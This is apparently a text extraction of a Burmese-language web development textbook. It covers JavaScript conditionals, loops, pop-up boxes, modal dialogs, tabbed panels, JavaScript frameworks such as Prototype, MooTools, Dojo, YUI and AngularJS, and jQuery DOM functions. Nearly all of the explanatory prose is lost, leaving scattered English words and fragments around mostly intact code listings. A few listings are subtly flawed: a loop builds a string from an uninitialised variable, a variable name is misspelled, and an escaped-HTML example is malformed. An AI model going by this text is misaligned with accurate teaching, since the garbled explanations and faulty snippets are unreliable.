false ( )

var x = a || 10;

a x a

x false x
10
a a 10 ||
Default Operator

! !! Operator boolean

var a = !!undefined;
var x = !!"Hello";

// => false
// => true

4.6 Control Structures


Conditional Statements

(-) Conditional Statement if Statement if


Control Syntax (one statement)


Professional Web Developer () JavaScript

109

if( today == "sunday" ) {


say( "Super Sunday!" );
}

( )
if( today == "sunday" ) say( "Super Sunday!" );

( )
if( today == "sunday")
say( "Super Sunday!");

if Statement if Block (-)


else Block Condition true if Block
false else Block
if else if else (-)

(-) JavaScript If Else If Else Syntax

Professional Web Developer () JavaScript

110

Switch Statement

Switch Statement Control Syntax


(-) Switch Statement
switch( today ) {
case "monday":
case "tuesday":
case "wednesday":
case "thursday":
say("Boring weekdays"); break;
case "friday":
say("TGIF!"); break;
case "saturday":
say("Happy Caturday!"); break;
case "sunday":
say("Yay, super Sunday!"); break;
default:
say("Too dizzy! Not sure what day it is. @_@ ");
}

switch
case


today monday,
tuesday, wednesday, thursday say("Boring weekdays")
today friday say("TGIF!")
break case
default:

Loops

Loop while( condition ) {


// do this until condition is false
}

while Condition Condition true



Block
<select id="months"></select>
<script>
var months = [
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];

Professional Web Developer () JavaScript

111

var data, i = 0, len = months.length;


while(i < len) {
data += "<option>" + months[i] + "</option>";
i++;
}
document.getElementById("months").innerHTML = data;
</script>

while Loop months Array HTML <option> Element


id="months" <select> Element <select>
Element JavaScript Jan Dec
()
innerHTML DOM Attribute Select
Element Element Content innerHTML
Loop i 0 months Array Index
len 12 i < len
true
Loop Block data Variable
months[0] <option> i
++ Operator () i 0 1
Condition i < len i 1 len
12 true Loop Block
Loop <option> i
() i 12 i < len Condition
(12 < 12) => false Loop
while Loop do while Loop Loop do
while Condition Loop Block while Loop
do while
do {
data += "<option>" + months[i] + "</option>";
i++;
} while(i < len);

while do while while Loop Condition Loop


Block do while Loop Block Condition
Condition Condition
do while Loop

Professional Web Developer () JavaScript

112

for Loop for(init; condition; increment) {

init Loop
condition while Loop condition Condition true Loop
Block Increment Loop Block
for Loop

for(i = 0; i < len; i++) {
data += "<option>" + months[i] + "</option>";
}

init i = 0 condition i < len


Loop Block i++ increment Loop Block
i () Loop Block i++

4.7 Pop-up Boxes

JavaScript Program Pop-up Box Pop-Up Box ()


Alert Box, Confirm Box Prompt Box

(-) JavaScript Alert Box


Alert Box (-) Message OK Button
Message alert("Hello, World!")
Browser alert() Function Alert Pop-up Box "Hello,
World!" Message OK Button Pop-up Box

Professional Web Developer () JavaScript

113

(-) JavaScript Confirm Box


Confirm Box (-) Message OK / Cancel Button
OK button true Cancel false
true / false

var result = confirm("Are you sure?");
if( result ) {
// do something that you want
// to carry on if user click OK
} else {
// do something that you want
// to carry on if user click Cancel
}

Confirm Box confirm("Are you sure?")


Button true / false result Variable
result if Statement
"Are you sure?" Message

(-) JavaScript Prompt Box


Prompt Box Message Text Box OK / Cancel button

Professional Web Developer () JavaScript

114

var result = prompt("What is your name?");


if( result ) {
// do something that you want to carry on
// if user type something in textbox and click ok
} else {
// do something that you want to carry on
// if user type nothing or click cancel
}

Cancel Blank String ( "" ) OK


Textbox Confirm Box result Variable

Pop-up Box Default Value Text Box Parameter
- prompt("What is your name?", "John Doe")
Browser Pop-up Box Code
Pop-up Box Button
Pop-up Box Website
JavaScript Build-in Pop-up Box Modal Dialog Box

Modal Dialog Box

4.8 JavaScript Modal Dialog

Modal Dialog (-) Page


Dialog Box Dialog Box Lightbox

Professional Web Developer () JavaScript

(-) JavaScript Modal Dialog


Dialog Code
<!doctype html>
<html>
<head>
<title>JavaScript Modal Dialog</title>
<style>
html {
background: #efefef;
}
body {
font-family: Arial, Helvetica, sans-serif;
color: #333;
width: 500px;
margin: 30px auto;
padding: 20px;
border: 4px solid #ddd;
background: #fff;
}
h1 {
margin: 0;
padding: 8px;
font-size: 21px;
border-bottom: 1px solid #ddd;
}

115

Professional Web Developer () JavaScript

p {
font-size: 15px;
line-height: 1.5em;
}
button {
padding: 10px 20px;
}
/* Dialog */
#overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: #000;
opacity: 0.8;
display: none;
}
#dialog {
position: absolute;
top: 16%;
left: 35%;
width: 30%;
border: 4px solid #ccc;
background: #fff;
display: none;
}
#dialog h2 {
margin: 0;
padding: 8px;
background: #ddd;
font-size: 17px;
}
#dialog h2 span {
display: block;
float: right;
padding: 0 5px;
color: #c22;
cursor: pointer;
}
#dialog form {
padding: 20px;
}
input[type=text] {
padding: 6px;
width: 90%;
}
textarea {
padding: 6px;
font-family: Arial, Helvetica, sans-serif;
width: 90%;
height: 140px;
}

116

Professional Web Developer () JavaScript

117

input[type=submit] {
padding: 8px 18px;
margin-top: 10px;
}
</style>
</head>
<body>
<h1>This is my awesome website!</h1>
<p>
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim
veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat.
</p>
<p>
Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat
non
proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
</p>
<button onClick="showDialog()">Contact Me?</button>
<!-- Dialog -->
<div id="overlay" onClick="hideDialog()"></div>
<div id="dialog">
<h2>Contact Me? <span onClick="hideDialog()">&times;</span></h2>
<form>
<input type="text" placeholder="Your email">
<textarea placeholder="Your message"></textarea>
<input type="submit" value="Send">
</form>
</div>
<script>
function showDialog() {
document.getElementById("overlay").style.display = "block";
document.getElementById("dialog").style.display = "block";
}
function hideDialog() {
document.getElementById("overlay").style.display = "none";
document.getElementById("dialog").style.display = "none";
}
</script>
</body>
</html>

Professional Web Developer () JavaScript

118

<p> Element Content Lorem Ipsum


Dummy Data

HTML Structure Dialog Box Element <div


id="overlay"> Page Layer
<div id="dialog"> Button Modal Dialog
Element
CSS #overlay #dialog position: absolute;
#overlay width: 100%; height: 100%; Page
opacity: 0.8; Element

#dialog
<h2> Element <span>&times;</span>

&times; (x) HTML Symbol
Close Button

cursor: pointer; CSS Property Property Element
Mouse Mouse Pointer
Pointer

showDialog() hideDialog() JavaScript Function showDialog()


#overlay #dialog Display Style block hideDialog()
#overlay #dialog Display Style none showDialog() Function
<button> onClick <button> Dialog Box
#overlay Page hideDialog()
#dialog <span> onClick #overlay onClick
Close Button (x) #overlay Dialog Box
Modal Dialog
JavaScript " "
Dialog Box Dialog Element CSS

CSS JavaScript
CSS User Interface Develop

Professional Web Developer () JavaScript

119

4.9 Tabbed Panels

Tabbed Panels Tab Content Interface


(-) JavaScript Tabbed Panels


(-) Tabbed Panels Tab Panel Tab
Panel Code

<!doctype html>
<html>
<head>
<title>Tabbed Panels</title>
<style>
body {
font-family: Arial, Helvetica, sans-serif;
color: #222;
}
.tab-bar {
list-style: none;
margin: 0;
padding: 10px 10px 0 10px;
background: #c22;
overflow: hidden;
}
.tab-bar li {
padding: 8px 20px;
float: left;
margin-right: 8px;
background: #fff;
cursor: pointer;
}

Professional Web Developer () JavaScript

120

.panel {
min-height: 200px;
border: 1px solid #c22;
border-top: 0 none;
padding: 15px;
}
#tab-2 {
background: #e55;
}
#panel-2 {
display: none;
}
</style>
</head>
<body>
<ul class="tab-bar">
<li id="tab-1" onClick="switchOne()">Tab One</li>
<li id="tab-2" onClick="switchTwo()">Tab Two</li>
</ul>
<div class="panel" id="panel-1">Panel One</div>
<div class="panel" id="panel-2">Panel Two</div>
<script>
function get(obj) {
return document.getElementById(obj);
}
function switchOne() {
get("tab-1").style.background = "#fff";
get("tab-2").style.background = "#e55";
get("panel-1").style.display = "block";
get("panel-2").style.display = "none";
}
function switchTwo() {
get("tab-1").style.background = "#e55";
get("tab-2").style.background = "#fff";
get("panel-1").style.display = "none";
get("panel-2").style.display = "block";
}
</script>
</body>
</html>

JavaScript Tab Panel


Tabbed Panels Interface CSS

onClick Event Attribute Tab Click Panel
Click Mouse onClick onMouseOver Attribute

Professional Web Developer () JavaScript

121

CSS .panel min-height


min-height Minimal Height height
Content Element minheight Content Element

JavaScript get() Function document.
getElementById

get() Function
get() Function Parameter document.
getElementById return document.getElementById
get()
Function Function
return
Keyword return Keyword JavaScript undefined

Code

4.10 External JavaScript

JavaScript Code HTML Document <script> Element


JavaScript .js Extension

Script File <script> Element

<script src="script.js"></script>

src Attribute Script File


External CSS File <link> Element <link> Element
Empty Element <script> Element Close Tag

<script> Element src Attribute Browser src JavaScript


src Attribute <script> </script>
Code src Attribute
<script> Element JavaScript

Professional Web Developer () JavaScript

122

4.11 Inline Script

onClick Event Attribute JavaScript Inline JavaScript


JavaScript HTML Element Inline JavaScript <img> Element, <a>
Element

<img> Element src Attribute onLoad Event Attribute Browser Image
src Attribute
<img src="javascript: doSomething()">

src Attribute Image JavaScript Code


javascript: Keyword Browser Image src Attribute


JavaScript Code Run
Developer JavaScript Code Run <img>
Attribute
<a href="javascript: doSomething()">Hyperlink</a>

<a> Element href Attribute javascript: Keyword


JavaScript Code Link Browser href Attribute
JavaScript Code Run
<button> Link Link
Button
Inline JavaScript Inline CSS JavaScript Element
onClick
Event Attribute Event Binding
JavaScript
HTML Event Binding ()
jQuery

Conclusion

JavaScript document.getElementById() Selector


document.getElementsByTagName()
document.getElementsByClassName()
document.querySelectorAll()

Professional Web Developer () JavaScript

123

style, innerHTML DOM Attribute title, alt, id, class,


value, type Java
Script Framework
JavaScript Language HTML/CSS

jQuery
Framework ()
NodeJS JavaScript Server-side Programing Language
JavaScript
Software Development JavaScript Client-side Script Command Line
Tool Web Server Network Service
NodeJS, BackboneJS, ExpressJS JavaScript
Development Rockstar Developer ()

Professional Web Developer


Web Developer Internet Web


Web Development Courses
(Reference)

(Everlearner)

(Drupal Architect & Consultant, MMDrupal)

Author Email: author@pwdbook.com


Website: http://pwdbook.com

Professional Web Developer () JavaScript Frameworks

125

() JavaScript Frameworks
It's a Framework. No, It's just a Library.

Macromedia
Rich Internet Application (RIA)
HTTP
Application RIA Concept
Web Standards Web Standard HTML, CSS,
JavaScript Application


Macromedia Flash
( Adobe Flash), JavaFX Microsoft Silverlight Plugin
Macromedia Adobe Macromedia

Adobe
RIA Web
Application

Flash, Silverlight Browser Plugin Audio/Video


Streaming, 2D/3D Rendering HTML
Plugin Browser Install
Plugin
- Microsoft Silverlight
Linux OS Adobe Flash Apple Product
Adobe, Microsoft
Standard
- Plugin HTML Web Standard Rich Internet
Application JavaScript Framework Plugin
Application
Framework

Professional Web Developer () JavaScript Frameworks

126

HTML5 Plugin Video/Audio,


Multimedia Standard

Web Industry JavaScript Framework
HTML5 Framework HTML5
Framework

Framework

Library, API, Toolkit, Framework Terminology

(-) Framework Terminologies


JavaScript Programming Language
DOM Selector DOM Attributes API (DOM API) API
Application Program Interface Application
Function Call
JavaScript Language DOM API
DOM Manipulation

Professional Web Developer () JavaScript Frameworks

127

Code Code Library


(-) JavaScript Code Library
Utility Library Widget
Toolkit User Interface Component Library
Library API Library Programming Language Code
API
Language Language Language
API

Code Library API Pattern Convention Framework
Pattern 3-Tires Architecture, MVC, MVVM Code Organize
Pattern Program
Convention
Framework Code
Framework Compiler
Debugger Template Engine Test Framework
Library Framework
Library
Library Library Framework

JavaScript Library Framework
Framework

5.1 Prototype and Script.aculo.us

Prototype Utility Framework Framework


Internet Website % Prototype JavaScript Framework
JavaScript Prototype OOP Prototype
Prototype JavaScript Framework Prototype Framework

Prototype Ruby on Rails Framework


Cross-Browser Ajax Support Ruby on Rails Web Application Framework
Server-side Framework
Ajax Browser Support
JavaScript Browser
JavaScript Ajax

Professional Web Developer () JavaScript Frameworks

128

if (window.XMLHttpRequest) {
// Mozilla, Safari, ...
httpRequest = new XMLHttpRequest();
} else if (window.ActiveXObject) { // IE
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!httpRequest) {
alert('Giving up :( Cannot create an XMLHTTP instance');
return false;
}
httpRequest.onreadystatechange = alertContents;
httpRequest.open('GET', url);
httpRequest.send();

Mozilla Firefox, Safari, Modern Browser Internet Explorer Version Ajax


window.XMLHttpRequest Object Internet Explorer Version
window.ActiveXObject Prototype

new Ajax.Request(url, {
method: 'get',
onSuccess: function(transport) {
var response = transport.responseText || "no response text";
alert("Success!" + response);
}
});

URL url Variable Request Process


onSuccess Nameless Function
Cross-browser Check JSON
Nameless Function JSON
Nameless Function Ajax ()
Ajax with jQuery
Prototype JavaScript Classical OOP
JavaScript Object Class
class Keyword Class

Function
Object Constructor Prototype JavaScript OOP

Professional Web Developer () JavaScript Frameworks

129

Language Class
var FirstClass = Class.create({
// Constructor
initialize: function () {
this.data = "Hello World";
},
propertyOne: someValue,
propertyTwo: someValue,
methodOne: function() {
// do something
},
methodTwo: function() {
// do something
}
});

Class.create() Method Classical OOP Class

DOM Selector JavaScript ID Element


document.getElementById Selector Select Prototype $() Function

JavaScript Function Name Special Character Dollar Sign
Prototype Dollar Sign Selector Function Name
[ JavaScript ]
document.getElementById('note').style.color = "red";
var obj = document.getElementById('sub');
[ Prototype ]
$('note').style.color = "red";
var obj = $('sub');

document.getElementById $() Dollar


Sign Selector () CSS
Selector Select class="note"
<p>
Element Select
var notes = $$('p.note');

Professional Web Developer () JavaScript Frameworks

130

script.aculo.us Prototype Visual Effect Library Prototype


Visual Effect Extension
id="note" Element
Fade Effect
new Effect.Fade('note', {
duration: 2.0,
from: 0.0,
to: 0.8
});

Effect Object Animation Effect Highlight, Morph, Move,


Scale, Shake, SlideDown, DropOut, Fold, Grow Effect Effect
Element ID 'note' Visual Effect

Effect Element Mouse
Drag-&-Drop
Sortable id='note'
Element Drag Element
new Draggable('note');

Mouse Element
Prototype Script.aculo.us Rich User Interface

Prototype Website: prototypejs.org
Script.aculo.us Website: script.aculo.us

5.2 MooTools

My OO Tools MooTools Utility Framework Advanced


JavaScript Developer Framework Script.aculo.us
Moo.fx Prototype Effect Library MooTools
Framework
Framework


Framework
MooTools Framework
Core Module
Utility Class Module Classical OOP

Professional Web Developer () JavaScript Frameworks

131

Natives Module JavaScript Native Object


Fx Module Visual Effect Request Module Ajax

Classical OOP Inheritance MooTools
var Animal = new Class({
initialize: function(age){
this.age = age;
}
});
var Cat = new Class({
Extends: Animal,
initialize: function(name, age){
this.parent(age); // calls initialize method of Animal class
this.name = name;
}
});

Animal Class Inherit Cat Class Extends Property


Visual Effect Animation
var myFx = new Fx.Tween('note', {
duration: 'long',
transition: 'bounce:out',
link: 'cancel',
property: 'height'
});

Fx.Tween Method Effect Element, Transaction, Duration




Prototype / Script.

aculo.us MooTools Prototype

MooTools Website: mootools.net

5.3 dj toolkit

Dojo Toolkit MooTools Modular Framework Dojo


Menu, Tabs, Tooltips, Sortable Tables, Charts, Tree widgets, Calendar Date Selector, Clock, Maps
User Interface Widget

Professional Web Developer () JavaScript Frameworks

132

Client-side Data Store Dojo


Web Security Model JavaScript
Storage Access
Cookie

Browser
HTML5 LocalStorage IndexedDB Client-side
Storage Dojo
Rich Internet Application
Client-side Storage
Form Validation Application Data Grid MVC
Pattern Dojo JavaScript A Z
Framework Unit Test, Internationalization, Localization


Documentation Generator, Build-Tool
Framework
Dojo Website: dojotoolkit.org

5.4 Yahoo User Interface (YUI)

YUI Yahoo! Developer


User Interface Library Dojo
Framework
Utility Animation, Cookie, Drag&Drop, ImageLoader, Browser History Manager
UI Widgets
Calendar, Button, Chart, Auto Complete, DataTable,
ImageCropper, Color Picker, Menu, Rich Text Editor (RTE), Tab View, Tree View, Slider


CSS Reset, Grid Layout, Font CSS Framework
JavaScript User Interface Element
CSS
YUI YUI Compressor Tool
JavaScript CSS File Minify Minify
JavaScript CSS File File Size Space Code
Variable Function
File Size Client Server

YUI <textarea> Element Option Rich Text Editor
\

Professional Web Developer () JavaScript Frameworks

133

(-) YUI Rich Text Editor


(-) Rich Text Editor
[ HTML ]
<textarea id="post"></textarea>
[ JavaScript ]
var myEditor = new YAHOO.widget.Editor('post', {
height: '300px',
width: '522px'
});
myEditor.render();

YAHOO.widget.Editor() Function Parameter <textarea> id


<textarea> Formatting Option Rich Text Editor

Professional Web Developer () JavaScript Frameworks

134


YUI Website: yuilibrary.com

5.5 ExtJS

Ext JS YUI Extension Library Framework


User Interface Framework User
Interface Component Chart, Data Grid, Infinite Scroll, Tree
Control, Tab, Slider, Toolbar Form Input
ExtJS, jQTouch Raphal
Framework ()
Sencha ExtJS Sencha
Product
ExtJS Website: sencha.com/products/extjs/

5.6 Single-Page Applications

Gmail, Facebook Application


- Gmail Login
Email Inbox Email
Email Compose Mail
Email
Interface
Chat Message Box
Web Application Single Page Application
Single Page Application JavaScript Language Application
JavaScript Web Application Language
Server-side Script
Application
Language
Code Code Code


Client-side MVC JavaScript Framework
MVC Model-View-Controller MVC () Model-ViewController
Code
Code
MVC Framework Server-side Web
Application Server-side Script Language

Professional Web Developer () JavaScript Frameworks

135

JavaScript Framework
Client-side MVC Framework MVC Model-View-Controller ModelView-Collection Framework MVC
MVVM Framework
MVVM Model-View-ViewModel MVP
Framework MVP Model-View-Presenter
Single Page Application JavaScript Code
Single Page Application Routing,
Data Binding Client-side
MVC Framework ()

AngularJS Google Developer JavaScript Framework Directive


HTML Framework
HTML Element Data Structure Application
Building Block Custom Component Two
Ways Data-binding Data Model View Template Fully-Sync
Data Template Template
Data Model Update
Routing, Data Persistence, Logging, Error Handling Testing Framework

AngularJS Website: angularjs.org

Backbone.js Model-View-Collection Framework Framework



Simple Light-Weight Framework Data Model
Data Collection
Framework
AngularJS Two Ways Data-binding Feature
Event Data-Binding Backbone.js
Framework Rockstar Developer
() BackboneJS
Backbone.js Website: backbonejs.org

Knockout Framework MVVM Framework



Microsoft
Microsoft

Project Data
User Interface Two Ways Data-binding Framework
Knockout Website: knockoutjs.com

Professional Web Developer () JavaScript Frameworks

136

Ember.js SproutCore Apple MobileMe

Web Platform SproutCore Apple Developer


SproutCore Framework MVC Framework
MVC Pattern Ember.js

Ember.js Website: emberjs.com

5.7 Others

Utility Widgets Framework Client-side MCV Framework


JavaScript Framework HTML5 Official Standard
Internet
Explorer 8
Version HTML5 Support HTML5
Website Internet Explorer Support Browser

Polyfills
JavaScript Polyfills
HTML5 Support Browser HTML5
JavaScript HTML5
Website JavaScript Polyfills HTML5 Support
Browser Polyfill
Modernizr HTML5Shim
Modernizer Website: modernizr.com
HTML5Shim Website: code.google.com/p/html5shim
JavaScript Template System JavaScript Data HTML Structure
Logic HTML Markup Structure
Code MVC Framework
Mustache Handlebars
Mustache JavaScript PHP, Ruby, Python Language
Handlebars Mustache
Template Engine
Mustache Website: mustache.github.com
Handlebars Website: handlebarsjs.com
Underscore.js Utility Framework
Utility Framework DOM Ajax Function Programming

Professional Web Developer () JavaScript Frameworks

137

Language JavaScript
Template System
Underscore.js Website: underscorejs.org
Library
Raphal Three.js

RequireJS, PDF.js,

JavaScript Application JavaScript Framework Library Plugin


Script
RequireJS
Script Library
Module Loader

PDF File Browser PDF.js Mozilla Firefox PDF


Viewer PDF.js Raphal Vector Graphic JavaScript

Library Three.js 3D Animation
JavaScript Library
RequireJS Website: requirejs.org
PDF.js Website: github.com/mozilla/pdf.js
Raphal Website: raphaeljs.com
Three.js Website: mrdoob.github.com/three.js

Conclusion

JavaScript Framework
Web Development JavaScript


Framework
Framework
jQuery jQuery
Framework

Open Source Open Source
()

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () jQuery

139

() jQuery
Write less, do more

jQuery JavaScript Utility Framework DOM Manipulation Ajax


Framework "Write less, Do more" jQuery
jQuery Code

Barcamp NYC John Resig
Developer jQuery
Website % jQuery
jQuery JavaScript Framework YUI Dojo

jQuery DOM Manipulation, Ajax Plugin () DOM Plugin


Ajax

Server-side
() Ajax with jQuery jQuery
JavaScript Nameless Function JSON

6.1 Nameless Functions

Nameless Function Function


Sub-Program Anonymous Function
JavaScript Function
First Class Citizen Function
Function

Function Function Variable


Assign
Function Function
Parameter
First Class Function
Variable

Professional Web Developer () jQuery

140

var foo = function () {


// statements
}

foo variable Function


Assign Function Function Name
Function Nameless Function Anonymous Function
foo Variable Function Function Evaluate Function
foo() foo Variable
foo Variable Function Evaluate
Function
Function Sub-Program

(function foo() {
// statements
})();

Nameless Function
Function
Function
Function Code
Sub-program



Evaluate

Closure
function makeAdder(x) {
return function(y) {
return x + y;
};
}
var add5 = makeAdder(5);
var add10 = makeAdder(10);
add5(2);
add10(2);

// => 7
// => 12

makeAdder() Function x

Nameless Function return Nameless Function y

Professional Web Developer () jQuery

141

x y
var add5 = makeAdder(5); add5
makeAdder() Function function(y) { return x + y; } Function
x
5 y add10 Variable
add10 Function x 10
add5(2) add5 Variable Function Evaluate
y 2 x 5
7
add10(2) Evaluate add10 x 10 12
Function add5 x add10 x
Closure
JavaScript Function First-Class Nameless Function
Function

6.2 JSON (JavaScript Object Notation)

JSON Data Interchange Format


Service Oriented Architecture
(SOA)
SOA Service
Data Format XML, YAML JSON
JSON Data Interchange Format
Data Interchange Format JavaScript Object
JSON Object-Oriented Programming Object Class
JavaScript OOP Language
Class
Object Constructor ( ) JSON Object

SOA Rockstar Developer () JavaScript Object Constructor


Rockstar Developer ()

JSON Hash Array Hash Array Language


Associated Array
Language Collection, Dictionary
JavaScript Hash Array JSON

JSON ""

Classical OOP Language Object

Professional Web Developer () jQuery

142

class Car
{
var wheels = 4;
var fuel = 60;
function drive() {
this.fuel -= 5;
// do something else
}
}
var toyota = new Car();
print toyota.wheels;

// => 4

toyota.drive();
print toyota.fuel;

// => 55

Car Class Class Instantiate toyota Object


var toyota = new Car() Statement Toyota
Car Class

toyota Object wheels fuel Property drive() Method

toyota.wheels wheels Property 4
toyota.drive() drive() Method Evaluate Method
fuel Property 5 toyota.fuel
fuel Property 60 55
Language
Constructor Access Control Setter/Getter
JavaScript Object JSON
var toyota = {
wheels: 4,
fuel: 60,
drive: function () {
this.fuel -= 5;
// do something else
}
};

toyota JavaScript Object JSON Object Literal



toyota wheels, fuel drive
Index Array () JavaScript Array

Professional Web Developer () jQuery

143

Array Numeric Array Array Index 0, 1,


2, 3
JSON Hash Array Index
Array

var toyota = { wheels: 4, fuel: 60, drive: function() { } };

Index Comma ( , ) Index Property Value Colon


( : )
drive Index Value Nameless Function

Object OOP Language Dot Operator ( . )
toyota.wheels;
toyota.wheels = 6;
toyota.wheels;
toyota.drive();
toyota.fuel;

// => 4
// => 6
// => 55

JavaScript Code
JSON Object Hash Array Object ( . ) Operator
Array toyota.wheels
toyota['wheels']

6.3 DOM Manipulation with jQuery

jQuery JavaScript Object Function


jQuery JavaScript
JavaScript jQuery Object Function

Programming Language Libraries Framework
jQuery JavaScript Library Framework JavaScript
Application

jQuery Function
Framework Framework

Professional Web Developer () jQuery

144


() JavaScript HTML Element JavaScript
Element Select document.getElementById DOM Selector jQuery
jQuery Object jQuery Object jQuery
Prototype Framework $ Sign $ Sign jQuery Object
$ Sign jQuery Object
$ Sign
jQuery Selector
Element CSS Selector Select
jQuery("p.note") ( ) $("p.note")
class="note"
<p> Element Select p.note ()
Element Selector, ID Selector, Dependent Selector, Child Selector, Attribute Selector,
Group Selector, Pseudo-class CSS Selector

$("p") <p> Element Select


$("div p") <div> <p> Element Select
$(".des") class="des"
Element Select
$("#nav a") id="nav" Element <a> Element Select
$("h1, h2, h3") <h1> <h2> <h3> Element Select
$("input[type=text]:focus") Focus <input type="text"> Select

JavaScript Element document.getElementById Select Element


Content innerHTML Style style
jQuery Select Element Content html() Function
Style css() Function
var element = $("#note");
elememt.html("Hello from jQuery");
element.css("color", "red");

( )
$("#note").html("Hello from jQuery").css("color", "red");

css() Function Parameters


CSS Property CSS Value
Style Style

Professional Web Developer () jQuery

145

Property JSON
Parameter
$("#note").css("color", "red").css("background-color", "yellow");

( )
$("#note").css( { "color": "red", "background-color": "yellow" } );
css() Function html()
Function css() Function jQuery Function
Select Object Select Element jQuery
Function

6.4 Getting jQuery

jquery.com jQuery Version Download

(-) jquery.com Website


Version 1.11.2 2.1.3 1.11.2 jQuery
2.1.3 Internet Explorer Version Support jQuery
Download
jQuery Download <script> Element HTML
Document

Professional Web Developer () jQuery

146

<!doctype html>
<html>
<head>
<title>Hello jQuery</title>
</head>
<body>
<p id="note">Hello, World!</p>
<script src="jquery.js"></script>
<script>
$("#note").html( "Hello from jQuery!" );
$("#note").css({
"color": "red",
"background-color": "yellow",
"padding": "10px"
});
</script>
</body>
</html>
<script> Element src Attribute jquery.js jquery.js File
Path Name

id="note"
<p> Element Element Content "Hello,
World!" jquery.js File <script> Element src Attribute
<script> Element JavaScript

$("#note").html( "Hello from jQuery!" );

-
#note Element Content "Hello, World!" "Hello from
jQuery!" Style css() Function
#note Element CSS Style
padding 10px

6.5 jQuery DOM Functions

jQuery Object DOM Function


Function
$(selector).hide() Element JavaScript
Function CSS display Property none
jQuery hide() Function CSS display none css()
Function Element

Professional Web Developer () jQuery

147

Duration $("#note").hide("slow");

hide() Function "slow" Duration


#note Element Animation Effect "slow"
"fast" millisecond
- $("#note").
hide(400) Animation 400 milliseconds
400
----------------------------------------------------------------------------------------$(selector).show() hide()
Element
hide() Duration hide()

----------------------------------------------------------------------------------------$(selector).toggle() show() hide()
show() hide()
Duration
----------------------------------------------------------------------------------------$(selector).slideToggle() toggle() Effect Slide
Animation
Duration Effect
Duration Function
----------------------------------------------------------------------------------------$(selector).fadeIn() show()
Duration

Fade Effect

----------------------------------------------------------------------------------------$(selector).fadeOut() hide()
Duration

Fade Effect

Function Callback Function Callback Function

Professional Web Developer () jQuery

148

$("#note").fadeOut("slow", function() {
alert("Done Hiding the Note.");
});

fadeOut() Function Nameless Function Callback


fadeOut()
millisecond Element Animation Effect

Element Callback Function


Evaluate #note Fade Effect
"Done Hiding the Note." Message Alert Box

(-) jQuery DOM Function

$(selector).html() Element Content

Professional Web Developer () jQuery

149

Content var content = $("#note").html();

content Variable #note Element


Content
----------------------------------------------------------------------------------------$(selector).text() html() Content
HTML Text $(selector).text("<b>Hello</b>");

text() Function
"<b>Hello</b>" "&lt;b&gt;Hello&lt;b&gt;"
Content
----------------------------------------------------------------------------------------$(selector).val() Form Input Element value ( )
$("#fname").val("John");
var first= $("#fname").val();

----------------------------------------------------------------------------------------$(selector).append() Element Content html() Function


Content Function
----------------------------------------------------------------------------------------$(selector).prepend() append() Content


----------------------------------------------------------------------------------------$(selector).appendTo() Select Element Element
-

Professional Web Developer () jQuery

150

$("li").appendTo("ul#menu");

Select <li> Element #menu Element


Content Element
----------------------------------------------------------------------------------------$(selector).prependTo() appendTo() Element
Element


----------------------------------------------------------------------------------------$(selector).clone() Select Element Element
$("li").clone().prependTo("#menu");

Select <li> Element #menu Element



----------------------------------------------------------------------------------------$(selector).wrap() Select Element
-

Element

$("p#note").wrap("<div>");

Select <p> Element Structure <div><p id="note"> ... </p></div>



----------------------------------------------------------------------------------------$(selector).wrapInner() wrap() Select Element
$("p#note").wrapInner("<div>");

Professional Web Developer () jQuery

151

Select <p> Element Structure <p id="note"><div> ... </div></p>



----------------------------------------------------------------------------------------$(selector).css() Element Style
Property -

var color = $("#note").css("color");

color Variable #note Element


color Value
----------------------------------------------------------------------------------------$(selector).height()

Element

( )

$("#note").height("400px")
#note Element height Style 400px
CSS height Value
----------------------------------------------------------------------------------------$(selector).width() height()

Element

----------------------------------------------------------------------------------------$(selector).offset() Element Position


Left JSON -

Top

var pos = $("#note").offset();


pos.left;

// #note Element

pos.top;

// #note Element

Left Position
Top Position

----------------------------------------------------------------------------------------$(selector).attr() Select Element Attribute Value ( )


-

Professional Web Developer () jQuery

152

$("a.back").attr("title", "Go Back");

class="back" <a> Element title Attribute Value "Go Back"



var text = $("img#thumb").attr("alt");

text Variable #thumb Element alt Value


----------------------------------------------------------------------------------------$(selector).addClass() Select Element class
$("#note").addClass("active")
class Value

#note Element active

Element Class
- <div class="row center
clear-fix"> <div> Element row, center, clear-fix Class ()
addClass() Class Class
Class $("#note").attr("class", "active")
Class Element Attribute

----------------------------------------------------------------------------------------$(selector).removeClass() addClass() Element Class



----------------------------------------------------------------------------------------$(selector).toggleClass() addClass() removeClass()

----------------------------------------------------------------------------------------$(selector).data() JavaScript Application Element

data Attribute data Attribute HTML5
Standard Attribute -

Professional Web Developer () jQuery

153

<ul id="fruits">
<li data-id="123" data-type="sweet">Papaya</li>
</ul>

<li> Element data-id data-type


var id= $("#fruits li").data("id");

id Variable <li> Element data-id Value


Data Value

$("#fruits li").data("type", "very-sweet");

$("#fruits li").attr("data-type", "very-sweet")


data() Function data Attribute attr() Function
Shortcut
----------------------------------------------------------------------------------------$(selector).parent() Select Element Parent Element

----------------------------------------------------------------------------------------$(selector).is(selector) Element Select Element


Parameter Selector true false
- $("#nav").is("ul")
Select #nav <ul> Element
true $("input#email").is(":focus")
Select #email <input> Focus true
---------------------------------------------------------------------------------------- Function DOM Manipulation jQuery JavaScript



Events

Professional Web Developer () jQuery

154

6.6 jQuery Events

HTML Element onClick, onMouseOver, onKeyPress Event Attribute



JavaScript Function
() jQuery HTML Event Attribute
JavaScript Element Event Java
Script
jQuery

(-) jQuery Click Event


(-) click() Function <button> Click
click() Function Parameter Nameless Function Evaluate
onClick Attribute <button>

<!doctype html>
<html>
<head>
<title>jQuery Click Event</title>
</head>
<body>
<div id="note">Hello, World!</div>
<button>Toggle</button>
<script src="jquery.js"></script>
<script>
